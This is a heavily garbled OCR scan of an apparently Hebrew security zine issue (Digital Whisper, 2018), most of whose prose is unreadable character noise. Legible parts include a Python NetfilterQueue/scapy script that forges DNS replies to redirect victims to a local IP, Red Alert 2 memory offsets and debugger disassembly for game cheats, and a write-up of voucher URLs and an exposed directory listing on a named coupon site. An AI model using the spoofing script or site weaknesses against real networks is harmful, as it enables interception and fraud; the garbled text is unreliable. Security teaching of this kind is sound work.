17 .17 4+ 1%« L ¢ x X ¢ x
TTL=64 TTL=59
mY7nNn Y \ 1910 W
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r s 1 7s4_DINS Spoofing, HSTS, Traceroute
www.DigitalWhisper.co.il
119 2018 -~ * _X0® T x 4 L ¥




1 SOX ¥ 4,5 FY _ DN$. <4, xS

exsx JTTL ] A4 x "0 s 4s Xy e b T X T CMP L8 N X

2.0 x 1 sCUTs i g 44X {I s

>

o0 A s b xo DL 8rest X x JCMRS TR X
TTL 4 ~ | “ 1T« DNS L A ww ] Lol o shoxxd vy DMSsx 5o ax T L Lox oy
X . x s ¢ - X 14X s X x x "y 1 €714 ]

e ™

[ = ===
= ~ / / »

[ vn, s 2244+ ]
X x 1] {1 L ] X . " oL X s - - . L IP axdX o xs o [ X, s

vl 11 XXl Tk av _ %I XXDNBliag ¥ 443 F x T x
omer@omer-Ubuntu:~/dnsdiag$ sudo ./dnstraceroute.py --expert -C -t A -s 8.8.4.4
acebook.com

dnstraceroute.py DNS: 8.8.4.4:53, hostname: facebook.com, rdatatype: A
192.168.1.171 ( ) 44.563 ms

_gateway ( ) 18.066 ms
*

82.102.132.86 (82.102.132.86) 118.018 ms

82.102.132.86 (82.102.132.86) 13.284 ms
80.179.166.134 (80.179.166.134) 65.602 ms
72.14.216.121 (72.14.216.121) 79.825 ms
216.239.59.179 (216.239.59.179) 65.087 ms
108.170.232.247 (108.170.232.247) 72.764 ms
google-public-dns-b.google.com ( ) 110.687 ms

S X U TXATXONS LA KD L XY o] XL JIPS LA E XY DX D

I s - - R X "oy . FoA

> ~
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CX Dox ]eox T B B I oA ] DNSS oo R o XX
swx 1, ~xs JXe T rAT s 1 e oy s X
XDNS * x  x : Csi 4T, (SLp-3vx1_x)_ 1 S L B 1
x4 v x e o0 T CEXA TGS b XD X T e XX S pTayss
Toxox T ox ?
PR

-|”V¢><x ,s'|x2>s s1-|v,,x-|”x\>< 1)6..=-|XVS1A'|V|IVXX XX e
1. . 1 7se x T X4 Ry D, ACERS T 0L 44X N .
!|_Z-|”s”~ S X X . s L X L
omerdeshalev@gmail.com {1 1 _ * . 104« x

X3, L

> v

FXld L

:Iptablest _Man Pages

http://ipset.neffilter.org/iptables.man.html

:NetfilterQueuer. _Documentatiors _, *
https://pypi.org/project/NetfilterQueue

st

:DNSs L X «
http://www.ietf.org/rfc/rfc1034.txt

https://www.ietf.org/rfc/rfc1035.txt

HSTS L X «
https://tools.ietf.org/html/rfc6797

ot X

x11 RFS

x11 RFS

:github* DNSdiag 1 ¢ I

https://github.com/farrokhi/DNSdiag

2016~ ~ X 897 X dopa % {10, Y
https://www.digitalwhisper.co.il/files/Zines/0x45/DW69-TheMItM

~

SR IRTEE RN PCLI |

27 X i Yk 40 =« _ DNS CACHE POISONING

https://www.digitalwhisper.co.il/files/Zines/0x02/DWZ-DNSCachePoisoning
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mailto:omerdeshalev@gmail.com
http://ipset.netfilter.org/iptables.man.html
https://pypi.org/project/NetfilterQueue
http://www.ietf.org/rfc/rfc1034.txt
https://www.ietf.org/rfc/rfc1035.txt
https://tools.ietf.org/html/rfc6797
https://github.com/farrokhi/dnsdiag
https://www.digitalwhisper.co.il/files/Zines/0x45/DW69-2-TheMItM
https://www.digitalwhisper.co.il/files/Zines/0x02/DW2-7-DNS-Cache-Poisoning

__author__ = 'Omer Shalev'

from netffilterqueue import  NetfilterQueue
from scapy .all import UDRE DNSRR DNS IP
import sys, o0s

locallP = str (input (
0s. system (
. format (sys . argv [ 1]))

def (pkt ):
payload = pkt . get payload ()
scapy_packet = IP (payload )

if scapy_packet . haslayer (UDB and scapy_packet .getlayer (UDB. sport == 53:

print  ( + str (scapy_packet . getlayer (UDB. dport ) +
str (scapy_packet [DNS. id )+ i
str (scapy_packet [IP]. src) + + str (scapy_packet [IP]. dst) + +
str (scapy_packet [DNS. qd. gname. decode (‘utf -8')))

Spoofed

IP (
dst scapy_packet [IP]. dst,
src scapy_packet [IP]. src

)\

UDR
dport scapy_packet . getlayer (UDB. dport ,
sport scapy_packet . getlayer (UDB. sport

)\

DN§
id
qr
aa
qd
an

scapy_packet [DNS. id ,

)

1,
scapy_packet [DNS. qd ,
DNSRRrrname = scapy_packet [DNS. qd. gname, ttl = 19, rdata = locallP )

pkt . set_payload (bytes ( Spoofed ))

pkt . accept ()
else :
pkt . accept ()

nfqueue = NetfilterQueue 0
nfqueue . bind (1, print_and_send )

try :
print (
nfqueue . run ()

except KeyboardInterrupt
print ('KeyBoard Interrupt! \ n Exiting..."
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L X -1CheatEngine (3°

4071 s
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b 41 " 1% Notepad+~+ (4 +
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I X < S
-
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w

X X X ” . X, X ”
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% Cheat Engine6.6 = ol ==
File Edit Table D3D Help
@ @E 000003F4-game.exe
Found: 141 §
Address Value Brevious o Mew Scan Mext Scan Undo Scan
00B2SDE4 300 300 E Value: Settings
00D40%CE 300 300 Hex [F]| B
02215F0C 300 300
0222350C 300 300 SﬂnT)rpe[Eud‘-'ﬂlur ¥ | LNt
02224B7C 300 300 Value Type| 4 Bytes
02310494 300 300
Memory Scan Options = .
023104F4 300 300 w P Unrandomizer
02310834 300 300 (| Enable Speedhack
02310894 300 300
02310E84 300 300 Writable [ Executable
02343164 300 300 CopyOnWrite
05951130 300 This list shows all the found addresses that matched your last scani | | Sl Ak nment
059514AC 300 o S Last Digits
?5?‘15050 300 = 300 - - N Pause the game while scanning
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3006-*x

S « X's S « .

Lsi9lbies &

X]i.L  sx "FASYVS xl o, A . Fod

1 -

S

£ Cheat Engine 6.6
File Edit Table D3D Help

ENICHE

000003F4-game.exe

=1 Bl <3

Found: 2
Address Value Previcus New Scan MNext Scan
0R91B604 294 294
0R91B602 294 294

(s ] a2

Settings.

Scan Typa[Decleased value v]

Value Type|4 Bytes
Memary Scan Options Ol

Start 00000000] ) Enable Speedhack

Stop

Writable Executable
CopyOnWrite
@ Ali it
FastScan| & | ome
Last Digits

Pause the game while scanning

1 4721, L .+ 545 %1  GodMode " LA 2M@ES e d 144 s
S« X s s 7 freez@**  pxi X]« 1 _«x w547 0 rdl. s
Active Description Address Type Value
@ Mo description 0AD1BAD4 4 Bytes 300
Mo descripticn
« ” S
R T I S N T T N I I O TS A B A [ S R
20 < S | S
Hardware breakpoint at 0A91B604
Break on: [rata size: Hardware slat;
" Execution " Byte &1 |wited  |0A91BB04
7 Access [RAW)]  wiord 2 |Empty
= wiite ¢ Diword 3 |Em|:uty
4 |Ern|:uty
[ Disabled 0k, I Cancel
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8B55 88 I3 MDHORD PTHR SS5:[EBP]
2BC2 EAx . EDHE
85CAa Efx . EAX
- 946 6C DWORD PTR DS:-LESI+6C]1.EAX
s 7 X Offset ox6€&  ~ « " v+ 44 1s o s7 o o p {8 X, ssCC
?xCs  SNOP « 4% " b vl uSHedNTdS s L4 s 0 ] .
AB5D3EG3 || - 85CA
HASDIELS
HASD3IEGG
HASDIEGL
Lol o4y A% 3 d
N 7 T SN , F 101 GbModer 1" 1 X854 «¥1 s e o«
NORL s | +s 3!l ¥ <4 x*x*"q{ GodModes 4 4 > 1 _s o =«
sl soxo A LxA T v Ao x o x A 44T kA
ST T B TR LN t NSNS SoNr- TG - T CE TR PR T P b NN S I T T

#441s oo sl _d s.x< s _ Olydbg HWBP ¢ 1" _ s 9 1%

Yoo S 0 s FYHRAT N T e A A E Ry SR e x ], ] x

~ A

NORL  + 43w x4 x4 41 4 x =
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s ] A I A

<x0x66* "k 441 sOffSets_ "I «GodModes . T 447 s .1 1401y

Coseux L HWBPLA AT TXL aUsy 4 XIxsD XS OKTO o~ 4 s s

N X
L,\ . X

T XS s 7 X

L Sy s ox ] x

arrOfallUnits

*vTable ;

* arrOfUnits
DWORD unk
DWORD unkz
DWORD numOfUnits;

T T T S P SO O SR A R R T N A
006 — 4 Bytes BOGC2F4 : 5000
..0070 - 4 Bytes BOGCZFE : 5000

I

BO&CeC4 = 5000

1 * 1 = 5000 .S

. Y {1 s _ . =] I x , A . . X, . ~” CXCEM 1, v e x|
s oo T lex s o4 s A A x Tl s p 4L X S B RN
FALX s X e 4 X x D 4 e

id,_, *s s D OffsétOxdeec L 1 | 1™ - " ”
[8339f0]+4eec = my gold

AAR33ICC 1888HA .

Hacking Games for Fun and Profit: Red Alert 2
www.DigitalWhisper.co.il

127 2018 - * _ 108 " x 4L ¥



17447 vt e dudd o
ch K0 KT S ASTH AT 0 ] 4L Y AlartR X

2T20YAPARIEZ ; operator new{uint}
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56 8B F1 68 ?? ?? ?2? ?? E8 ?? ?? ?? ?? 83 C4 04 85 CO 74 11 8B 4C 24 08

51 56 8B C8E8 ?? ?? ?? ?? 5E C2 04 00 33 CO 5E C2 04 00

* AoB- array of bytes

Tod 4 x e s7x 1 xy

ci 4T " Ll « 4 xsy L | XRedAleft 2 v, ~+¥Is L s X414

T T S DV N B R R I A
To 444 _0x udd 4Ad . L LA, .Y0fsbt-0x374% _ x4 {s.54
1
..0374 - isEnemy B1C0964 : O
s v ks S s 4] X x Ty 1, .. ~u¢ 4~
Frd L. s T xex 1 DT x Dx T o e e d box

Fo1 Offset* ¢ 4 <904 "s Cxp | X

a

--0088 - X BlcO&Y8 : 26048
-008C - ¥ BlCcO&eTC @ 15424
0050 - 2 B1CcD&80 : 416
:Offset 0x564& «~ « _ " _ s "> | 4 X ]xIX px

0564 - 4 Bytes (Hex) BlcOBS4 : 0BB23454

XX:JX s ” X s S_Is_l =J_|.i)0(“-iv~ }'=-I)d~\"‘"s”>lv(,"X:JX,\VSI

B823454 1 X x 1 | X s XXV, Zy 4 .4 . "offset +38" B823454

Addrezs |Ualue
AaBA7?FCA

A8AA46 40

A8AAA1 AR

coLT i TS s e 094K 4, XS S X x 8w T x sy

~ [V N > v o~

0494 — currentPosition B1lC0Ozd4 : 0JAEFSAED

:offset 5a8* [ DT I I s s s m X L 1* .

»-05A8 — Pointer EOETFD0 : P->0REFT7670
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L

_Inx:L s " X s L

Address

HAEF?678
BAEF?688
BAEF?698
BAEF?6AA
BAEF?6EA
BAEF?6CA
BAEF?6DA
BAEF?GEA
BAEF?6FA
AAEF?788
BAEF?718
BAEF?728
AAEF?73A
BAEF?7748

K-=

zEx%

ASCII <ANSI — He

iz T=z L:=
JUMPJET

e - JUMPJET

"®Rocketeer

14y 41 JOoddws Lt x4 3 i s ¢4 OffsetOX55¢*+ 1 ~ 11 _ s
-4 1 _ s R R T R
X S v, " 14« BIX]e »SL~ 11]IVJS D S I T, s , X x X " L X
J 4 <4 0 101
1l . 4. Offset 98 ~ . pxd kI¥ v s " Offdel A, . x "X
. * Ddmages 1% 4 1<% Damayge, _ 1 ~¥1_ v {float, T¥ s _ 41
L,x o b4 v 44 fleat ~ . ¢~
‘0x5ae* -« " <7 1s ¥y x o offsets: A7 E"ST 0 A
EMDSAC — 4 Bytes (Hex) B1COEBSC : 0ORA9SG91EBH
Address |[Ualue
$+90C BEEARAAS
S +hA HPBAA12C
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<"1 <"1 x Dx e OxaBf X R T A Fs Lo x sy SsdA0%96H
x DXw b T Ts ] , b Ai 4TS . s s 7 7 P , S Lo~
1 x., 7 Fdd 1 ox e x X d r o
~ 4 1 _ sOffsetOx556 + 4 « " 1> + ¥
FAiox 4 x ox 1 Offseesx | LaQxg18*. 47 7 247X D0 4y X
,,V~” S (X X (s ]« , “df'f§ePOX1|A€~3‘ s.)(X’X.|“3,~ ,wa" FfL ! x s
Y oox sl o, D x T x ., ] 40X
01nC — 4 Bytes BOGTBD4 : 4
s+ Xs  glies 47% 1 r 4144 Xx s 0 b ¥ s T x XS
« 1 *orx b 4T 4s 0] O I IR S S AU B F LR S

text:00688A73
text:AH68BAYS
text:A068BBAY7

edi
ebp

edx
BCX

Tedxt - 1 .U4d"getUnit S 4 s ¥ x O f N

¥ v

33C9

8n88 5S42C488
FF248D 482C4:
Al 4C5DA3G0
8BA498

C3

8BAD DCHCA3A
8BA491

C3

Al 5483A480
8808496

C3

8BAD 7CD2A30!
8BA491

C3

33ce

C3

172C48608
332C48608

BB482C44
Top

I-'I“ H_I s

LEA EAX.[ECA-11
CMP EAX.27

SHORT #B482C3D
Z0R ECK.ECX
HOU CL,BYTE PTR DS:[EAX+482C541
JMP DWORD PIR DS: [ECH*4+48204B]
MOU EAX.DUWORD PTR DS:[@A35D4C]
MOU EAX.DWORD PTR EDR*4+EAR 1

RETH
MOU ECX.DWORD PTR DS:[BA35CDC]
MOU EAX.DUORD PTR DS : [ED¥=4+ECX 1

ETN
MOU EAX.DUORD PTR DS:[BA48354]
HMOU EAX,.DWORD PTR DS:[EDX=4+EAX]
TN

RE
MOU ECX.DWORD PTR DS:[BA3D27C]
MOU EAX.DWORD PTR DS:[EDX=4+ECX]

RETN

A0R EARX.EAX
RETN

DD BB482G17
DD BB482C33
C

X X s e Loxom X

game . BB482CAA(guessed voidd)
Switch {cases B..27, 5§ exits)

Cases

B. 27 of switch game _482CH3
Cases 5. 6 of switch game.482CA3
Cases E. F of switch game.482C03

ASCII "BmeRl". cases 1, 2 of switch game.482C83

Default case of switch game.482CA3

nscn <ANSI — He

BRSE8148
BABER158
BABER168
BABERL78
BNBER188
BABER178
BABER1AS
BABER1BS
BABER1CE
BABER1DE
BABER1ES

@iy v v
90 | TDxe
00 NAVEAP
D
e:zNAWEAP

aa
15}

¥

EdM®Soviet War F

actory

v 1
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* OllyDbg - game.exe - [CPU - main thread, module game]

File

Fauzed

DD DD DD DD DD D D DD D 0 0 oD

vl fen Rl el enfuo o Ry el g e B R R ey
EEDEREED DD S S S S

vl ol fv ol ol sl foa s f e f el el iy
DR EERRREED DRSS S S S

View Debug Trace

JJJ W=l s+ 30 S| U] L|E|M|W|T|c|R|..|K| B|MH| IS

TCHEa0E

81EC
8B41 2C
824C24 88
85CA

75 BE

B8 B18368808

8B4CHA3 5C

8B6CH3 58
874C24 38
8D4C76 86
89°7C24 28
C1E1 84
894C24 34
881481

B? EA248308
895424 1C
E8 FGEYF1FF
884424 18
8848

8BCD
E8 B421E@AFF
8EFR

Plugins

|mov EDY.

Options  Windows Help

SUB ESP.9C
MOV EAX,.DUWORD PTR DS:[ECH+2C]
(DIORD PTR S5:[LOCAL.36 1Mae]
TEST EAX.EAX

SHORT BAB6BBAAF

IH 8
(U MDUORD PTR S5:[LOCAL.361
MOU ECX.DWORD PTR DS:[EAX+4@1

EBX
EEP
EDX .DWORD PTR DS:[EDX+381
ESI
EDI

a
ESI . [ECK=2+EDX 1

MOu

a
EBX, [ESI=2+ESI1]
EEA .4
ECH.DWORD PTR DS:L[EAR+EBA+5C1]
OUIEDIIDUORD PTR DS:[EAX+EBX+541]
EBP DUORD PTR DS:[EAR+EBX+581
DWORD PTR S8: [LOCHL 32 1M e
ECH LESI=2+ESI +6
DWORD PTR S§: [LOCHL EER]. EDI
ECH .4
DWORD PTR S§: [LOCAL.31 1Mae]
EDZ .DUORD FTR DS:[EAX+ECH]
ECX.0OFFSET PAA8324EQA
DUWORD PTR S8:[LOCAL. 37 TN
A5 7F258
GEMEDUORD PTR SS5: [LOCAL.361
ECX.DWORD PTR DS:L[EAX+2C]
ESI.DWORD PTR DS:[ECX+581
BA6815C5
EBFP,1F
B868AB5C
EDI
MOU ECH.EBP
Ba482Ca08
MOU ESI,EAX
TEST ESI.ESI

ASCII

ASCIT CANSI — Hel = |
I

B0833B04 [ NPPIPENAR] 97 A 00 00|01 AR PP DA|PD A OO 0D | [DNM- O

II'I'._le

Le 4«7 s T x Xs v Lx 7 Teax+ebx#b4f | v« X 7L s 0%eX
P41
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v
¥
14

.Technoloqgi

X ” X
FA1AAx s s .S
x ”
FATAA s L e
| = X x X ¥ ” s 7 x X X " X X "
1 L X Fd14 L. 1«71 L [ L
X oo Hi X« s allfess k1 Pl w71 s 7 xxs XX S v v 47
~ A~ A ~
X ” X
A O T s ool v s X o I xe s ] 10
H " X
alliess . _ . , X
“ X L « ] x xy , | s
~ N ~ o~
X
L N R S R RN RN
. ) %
X v, UX2 AL HPLSCE 44 0 Sox  "s i fy, s,x X" syl
S.Xs ooy x XX ] T4 CEY T ST s AT A% Tk
ﬂ Structure dissectunnamed structure
File View Structures Structure Options
Group 1 Group 2 Group 3 Group 4
0B1COSFO 08067428 0B06C283
O‘_ﬁset-descriptmn Address: Value Address: Value Address: Value Address: Value
?---DlDD - 4 Bytes B1COGFD : 42545672595 BOETB28 : 4294967255 BOG4RES : 4294967295 BOGC3B88 : 4294967255
0104 - 4 Bytes BlCOEF4 : 42894567255 BOETB2C : 4294967255 BOG4REC : 4294967295 BOGC3BC : 4294967255
0108 - 4 Bytes B1COGF8 : O BOETB30 : O BOG4RFD : O BOGC3%0 : O
E---DIDC - 4 Bytes BlCcOGFC : O BOETB34 : 0 BOG4RF4 : BOGC35%4 : O
B1C0704 : BOETB3C E0QE4RFC BOEC39C :
+-0118 - Rank B1Cc0708 : 2 BOE7B40 : 1 BOE4B0O0D : 0 BOEC320 : 2
n oy s

[ I I B

LA

=% s
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Cox p X< _ tHWSBPH4+ 4] LY % oo 4o x 04415200 4418

«SX Is X ~ 1 -, 1y " v § 2 XX s . As x¢ ss Is ¢l . Xs ot s &« 4 X%

-text:0B6CYBI3
-text:pAGCYBIY
-text:0B6C7BIQ
-text:pAGCYBID
-text:086C7BIB

-text:-ABGCYBOD
-text:886C7BOD
-text:-BAGC7BAB
-text:-886C7BAZ
-text:886C7BA3
-textABGCYBAG

”oX S X
T«01 v 1,
100606780
:@86D67EA ; DATA XREF: .rdata:8879B3ABLo
:@86D67EA ; -rdata:z8879CcE38)o .].
:886D6781
:886D67E2
BB6D67EY
:006D6785
:886D6FET
:006D678D
:886D6793
:006D6795
:006D6797
:886D6797
100606797
:006D679D
:886D679F
Fdd1s p L2 Yy xT I x oo FPUSOY L Ixse 1 d4d_eheckRark 0s 4 . 7 x| X
.1_X
aA'7133n8 QUORD PTR DS:[ECK]
B@7133a2 (] - DC1D BBAT9A QUORD PTR DS:[79A788 1
B@7133A8 || - DFEA Ax
8a7133an || - FeC4 81 TEST AH.81
Aa7133AD | - 75 15 SHORT B@7133C4
BAV133AF | - DDAl QUORD PTR DS:[ECK]
BA7133B1 (] - DC1D FBAGY7A QUORD PTR DS:=[79AGF81]
AA7133B7 || - DFEA AX
AA'71338B7|) - FeC4 A1 TEET AH.81
BA7133BC || - 74 B6 SHORT B@A7133C4
BA7133BE (| - BE 816860860 |HOU EAX.1
BA7133C3|] - C3 RETH
AA7133C4 (] > 33CA A0R EAX.EARAR
BA7133C6 (L. C3 RETH
Sx DX x4 T4y TSNV X WLy s L2 4 4 Y X404y ] ]

25 ¥ L, Ly L fd Al esxXss” x Offsét0x118* double

0118 - Rank B1Cc0708 : 2 B067B40 :

[y
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bomoss Yy o ded 0T J X o X

I . : 114s 1L - x¥.

] RS B S S I ST R I SN
X« oo L X oL 41
.EnemyPlayers ¢ s " . o <« ., 7 L4 X« sABEDBY s{T A L v XS s © 7

A BT L1 x

*( EnempyPlayer ) + 0x144 = 1
*( EnemyPlayer ) + 0x206 = 1

FEE T BT R
*( EnempyPlayer ) + 0x144 =1
*( EnemyPlayer ) + 0x207 = 1
+1. x¢ o 4. s 1x 7”4 CE L, L L, v v L~ Offset OxH44 | . b
1~ sy .| . A 4 X s N R T B

Soviet Battle Lab
*( EnempyPlayer ) + 0x144
*( EnemyPlayer ) + 0x204
Allied Battle Lab
*( EnempyPlayer ) + 0x144
*( EnemyPlayer ) + 0x205
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s¢  RediRert221_ v 44X L1 ixbxoo o v AL
e 2 IV S N RS DN SN S b ol U S I T S NN S
I e " 4L dY s "CE w1 sS4 s i« v 4 X0 b o4 s,
2 U S I SV VTS TSN S 1 RS TN PP, S NN I i B WD S O G RN

. _ KCB Labs -

17 x 7 Xy $ . {Réverse engineerirg r X 1 0 F £ 11X« x X4 x40 x

A Howex

S L D B I N

P s L

*CEO xs | v 17 L _Reverde-Engineerirg+ X 1 ~ * *xD4d

JoxL XXl ] s Yo kIxX 7y

ALX X § v Jt ox TIPS K LT, X GKIspx o xs xS

~> o

llcashall@gmail.com
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?4L P17 XX, ¥y s s

>
-I X L \=. 4
S « S
.l x s ., X 1 4 s o4 L Txoxy x 7oL o r 4l x o
1.1~ X x A9 S v =x>x“ q 17 < X (=x>x,,\(-|,1w”vjﬂ"s
FY « 79 X X . L X~ I R . X s . X s { s
s ¢ s L S ~ F J L X X J
2044, % s qs
ID>%2w yxnni wtnn GROO-n %7y iwTnnn
TR DUXIaY XIN D27¥ NINTAN 1900
S99 DM INN WIS WD 7Y 1IAWN7 1ANNNT 790 TIWINY 121w NISY? T
711V NUOX7
_TINID] T7RY TINY? N9YT [N Nwro0T YAl N7y IN aTue
1NTa 0O
povv A s A A0 T x> D o LI Ex s T 4x s s
”xx~>< X}\L ¢ . X L,
FX s lpdfl e 4 x4 T X o os S LY X 4L s oL
FA A7 e L X X .
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N

sCs Ay ¥ s q4s 44 4L XA

https://www.groo.co.il/voucher/KSDKkjklafif90ImKLM564LJIADdf7MjljN2fghjbjN

iM2dfgdFSDJDAdfhySF==
S 14X L XY« Txoox Ly At st os s x G L o]
17 x> . 14« _ s 1 x s X 1 1
L 17 x 1 1,470 1 B 11 1 x5 B I | R AR B i1
N T V(B O S A B
https://www.groo.co.il a 0 O =
L~ . 47« X tedirect 1d ~ ¥ a4 lTXos"dddsSE 40 X107 A
L4414 _ s «xss oopxKwxs Xy 14D A& 4 Y X 1,0
?S « X ., {17« S X
S .| ”oX. s I s s ¢ . ” q . S S A 1
unix-> ¢ s . 1L {1 ] §3x | x,.¥ 1 ss " s T X X s
145 x 1 o s, {4 LyYXxyX
1" _s s , o~ X 4 Iredirest® 4 L, x4 F 2 45 XX A CHPINS 4 L L XX
s s ¢ « X S EY
?2+ 1 x X ] s " R B .« XS s
static s o4 s v 4474 0 o~ 4 AL <X
https://www.groo.co.il a 0 O =>
Popdesx "xx 1« 411, . _ xsQra ¢4 :9c4d:s
{1 trddeofft L X X 4 v L« S. < wXs DX ,X7Is o p 47X X
.Security vs Usability: .| " _ 7
R , 14 s 1.1 L SR I XL Txx 1 s qy
L T R T LV U S c 14 S ¢« authenticdtions . 1.
Lo I T O S B
s 4", Lo ix by ss o b unsubseribingd L r A0 X X e X KYGX
boxof o, X ] : L X TX e T D ] x4

~ ~ ~

ML d " xsx fy¥s
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x 7 ox "X ks "7 B T LoPPxosos | L .
T, A LTSk X asdx s D, s ¥
”
1 xs s A R S .44 s

x

I I A

T |

Index of /_static/vouchers
Name Last modified Size Description

Apache/2.2.15 (CentOS) Server at www.groo.co.il Port 80

X\$1|j,,1s-|-|:,,f1_‘:3<,,~,,xv

7L ~redirectt Ik

sl ., Xy, $7exd)" &KX 4L
« ¢ X L Iox % X
xs ] 1. xb7. ,
Ccountdrs «Juls 4L x D7
o

~ _SrooEs . s« . 7

sreplay: x|« 1 .9

LU X x 170 1. x o N
X replay~: X1 L~ @ s
Ll o T x o xqfes

Mse” Loy N 4 s

1~ XXy
” * L « X S s ¢ s 'IL
"L U oS unlixe ~ 0L

” X
v, SSeX T X kx| L. 1

a 09O >

Google @ nwm oo [

https://www.groo.coil

]

| T 147 1
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s | xss . 1 Forbidden!403x 5 I x sx « ¥ {(. s FXw % . S
:vulnerabilitiess = « « _  , XL _ S . ¥ SX -~ Apaché 1 , - 44 LKy {1
1. 11 s X 4 . s " firewall - X4 s" x & 4 <] S4 XX XX, ¥ (X {8
‘headers* > x o | s s ¢ x s, xX
oo X FoY - Lo s L L s 1 X Ilncapsuka”~XL~ “r « A
S NN DT
o X s WARK X o Xy X X X Yy S X X TS
s X, s x «lacapsutair” krs4 b )xox o 4L X L N
. X s « X s
S T w, S T XGSTXos . s X « L Indapsdla 1 ¥ K~ ¢
s{44” s ], 1s + exploits” + P XC o e 4T
Ao 47 xsx4y¥s
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